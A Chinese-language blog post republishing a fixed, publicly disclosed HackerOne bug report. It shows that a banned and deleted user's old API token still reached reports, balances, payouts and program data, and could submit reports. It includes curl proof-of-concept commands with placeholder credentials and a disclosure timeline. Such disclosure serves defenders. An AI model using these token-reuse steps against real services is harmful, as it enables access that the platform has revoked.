HackerOne API访问控制漏洞:被禁用户仍可通过API密钥访问已删除账户

本文详细披露了HackerOne平台存在的一个严重安全漏洞:即使用户账户被永久封禁且删除,攻击者仍可通过之前生成的API密钥继续访问账户数据、提交报告并获取敏感信息,涉及多个API端点的不当访问控制问题。

HackerOne报告 #1577940 - 被禁用户仍可通过API密钥访问已删除账户

摘要

当用户账户被永久封禁后,该用户将无法提交报告,且在无待处理付款时账户会被删除。用户无法登录或查看个人资料。但通过使用封禁前生成的API令牌,用户仍能:

  • 获取报告
  • 获取余额
  • 获取收益
  • 获取付款
  • 获取弱点信息
  • 获取程序信息

用户基本上可以执行HackerOne API参考文档中列出的所有操作。

复现步骤

  1. 创建新账户
  2. 永久封禁该账户(等待批准后分享被封禁账户的API令牌)

假设:

  • 用户名:mrtst
  • API令牌:XXXXXXXXXXXXXXXXXXXX=

利用方法

获取报告(包括单个报告)

1
curl "https://api.hackerone.com/v1/hackers/me/reports" -X GET -u "mrtst:XXXXXXXXXXXXXXXXXXXX=" -H 'Accept: application/json'

获取余额

1
curl "https://api.hackerone.com/v1/hackers/payments/balance" -X GET -u "mrtst:XXXXXXXXXXXXXXXXXXXX=" -H 'Accept: application/json'

获取收益

1
curl "https://api.hackerone.com/v1/hackers/payments/earnings" -X GET -u "mrtst:XXXXXXXXXXXXXXXXXXXX=" -H 'Accept: application/json'

获取付款

1
curl "https://api.hackerone.com/v1/hackers/payments/payouts" -X GET -u "mrtst:XXXXXXXXXXXXXXXXXXXX=" -H 'Accept: application/json'

获取弱点信息

1
curl "https://api.hackerone.com/v1/hackers/programs/{handle}/weaknesses" -X GET -u "mrtst:XXXXXXXXXXXXXXXXXXXX=" -H 'Accept: application/json'

获取程序信息

1
curl "https://api.hackerone.com/v1/hackers/programs" -X GET -u "mrtst:XXXXXXXXXXXXXXXXXXXX=" -H 'Accept: application/json'

影响

被封禁用户可以完全访问其已删除的账户。

额外发现

用户即使被封禁,仍可通过API端点提交新报告:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
curl "https://api.hackerone.com/v1/hackers/reports" \
-X POST \
-u "<YOUR_API_USERNAME>:<YOUR_API_TOKEN>" \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-d @- <<EOD
{
"data": {
"type": "report",
"attributes": {
"team_handle": "string",
"title": "string",
"vulnerability_information": "string",
"impact": "string",
"severity_rating": "none",
"weakness_id": 0,
"structured_scope_id": 0
}
}
}
EOD

此外,GraphQL端点(https://hackerone.com/graphql)也存在相同漏洞,即使用户已不存在,仍能获取所有个人资料信息。

处理过程

  • 2022年5月22日:漏洞提交
  • 2022年5月25日:漏洞验证,严重性从中等调整为5.0
  • 2022年6月2日:漏洞确认并发放奖金
  • 2022年8月3日:修复测试完成
  • 2022年8月4日:漏洞修复并关闭报告
  • 2025年7月14日:报告公开披露

漏洞分类

  • 弱点类型:不当访问控制 - 通用
  • 严重性:中等(5.0)
  • CVE ID:无
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计